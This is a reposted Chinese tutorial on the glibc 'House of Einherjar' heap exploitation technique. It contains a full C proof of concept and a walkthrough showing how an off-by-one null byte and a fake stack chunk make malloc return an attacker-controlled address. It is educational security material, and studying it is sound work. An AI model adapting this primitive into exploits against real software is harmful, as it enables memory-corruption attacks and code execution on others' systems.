15.house_of_einherjar
源代码
1 #include 2 #include 3 #include4 #include 5 #include 6 7 /* 8Credit to st4g3r for publishing this technique 9The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() 10This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 11 */ 12 13 int main() 14 { 15fprintf(stderr, "Welcome to House of Einherjar!\n"); 16fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n"); 17fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); 18 19uint8_t* a; 20uint8_t* b; 21uint8_t* d; 22 23fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n"); 24a = (uint8_t*) malloc(0x38); 25fprintf(stderr, "a: %p\n", a); 26 27int real_a_size = malloc_usable_size(a); 28fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size); 29 30// create a fake chunk 31fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); 32fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); 33fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); 34fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n"); 35 36size_t fake_chunk[6]; 37 38fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size 39fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin 40fake_chunk[2] = (size_t) fake_chunk; // fwd 41fake_chunk[3] = (size_t) fake_chunk; // bck 42fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize 43fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize 44 45 46fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); 47fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]); 48fprintf(stderr, "size: %#lx\n", fake_chunk[1]); 49fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); 50fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); 51fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); 52fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]); 53 54/* In this case it is easier if the chunk size attribute has a least significant byte with 55* a value of 0x00. The least significant byte of this will be 0x00, because the size of 56* the chunk includes the amount requested plus some amount required for the metadata. */ 57b = (uint8_t*) malloc(0xf8); 58int real_b_size = malloc_usable_size(b); 59 60fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n"); 61fprintf(stderr, "b: %p\n", b); 62 63uint64_t* b_size_ptr = (uint64_t*)(b - 8); 64/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/ 65 66fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); 67fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); 68fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); 69a[real_a_size] = 0; 70fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); 71fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you " 72"don't change the size of b, only its prev_inuse bit\n"); 73fprintf(stderr, "If it had been modified, we would need a fake chunk inside " 74"b where it will try to consolidate the next chunk\n"); 75 76// Write a fake prev_size to the end of a 77fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that " 78"it will consolidate with our fake chunk\n", sizeof(size_t)); 79size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); 80fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); 81*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; 82 83//Change the fake chunk's size to reflect b's new prev_size 84fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n"); 85fake_chunk[1] = fake_size; 86 87// free b and it will consolidate with our fake chunk 88fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); 89free(b); 90fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); 91 92//if we allocate another chunk before we free b we will need to 93//do two things: 94//1) We will need to adjust the size of our fake chunk so that 95//fake_chunk + fake_chunk's size points to an area we control 96//2) we will need to write the size of our fake chunk 97//at the location we control. 98//After doing these two things, when unlink gets called, our fake chunk will 99//pass the size(P) == prev_size(next_chunk(P)) test. 100//otherwise we need to make sure that our fake chunk is up against the 101//wilderness 102 103fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n"); 104d = malloc(0x200); 105fprintf(stderr, "Next malloc(0x200) is at %p\n", d); 106 }
运行结果
文章图片
首先申请堆a,0x38的字节
文章图片
可见用了下一个堆的prev_size字段
然后在栈上伪造一个堆fake
fake->prev_size=0x100
fake->size=0x100
fake->bk=fake->fd=fake->fd_nextsize=fake->bk_nextsize=fake
bk,fd指向自己绕过unlink的检测
size要满足small bin的大小要求
在调试环境下,fake地址为0x7fffffffdcd0
接着申请堆b 0xf8字节
文章图片
b数据部分也是占用了下一个堆的prev_size字段
然后造成off-by-one 覆盖了b的size字段最低字节
文章图片
然后修改a的最后8字节,即修改b的prev_size字段
prev_size=b_adr-fake_adr
文章图片
此时libc会认为b的前一个堆块处于释放状态
而且会通过b_adr-prev_size找到前一个堆块的地址
这里即误认为fake为b前一块相邻的释放的堆块
接下来将的fake的size也改成b的prev_size
然后我们释放b,此时b即会向前合并,和fake合并
以fake地址开始形成一块新的释放状态的堆,size=fake->size+b->size
文章图片
这里b->size算成了从b开始一直到所有堆结束的大小0x20ec0+0x100
最后申请一个0x200的堆,即会使用这个新合成的堆
【15.house_of_einherjar】转载于:https://www.cnblogs.com/pfcode/p/10999252.html
推荐阅读
- 《机器学习实战》高清中文版PDF英文版PDF+源代码下载
- 单片机|keil把源代码生成lib的方法
- Android健康管理源代码,基于Android的个人健康管理系统毕业论文+任务书++外文翻译+答辩PPT+演示视频+设计源码...
- 数据库|效率最高的Excel数据导入---(c#调用SSIS Package将数据库数据导入到Excel文件中【附源代码下载】)...
- 导弹发射小游戏——Python源代码
- 《暗黑破坏神2(重制版》应是一款新游戏,因为暴雪弄丢了源代码)
- 配置VS2008中文版调试.netframework源代码
- mini6410/mini210s安卓源代码启动图片修改
- 在VS.NET内使用“从源代码管理打开”时出现无法读取项目文件的错误
- 《Objective-C|《Objective-C 高级编程》第二篇(Block源代码解析)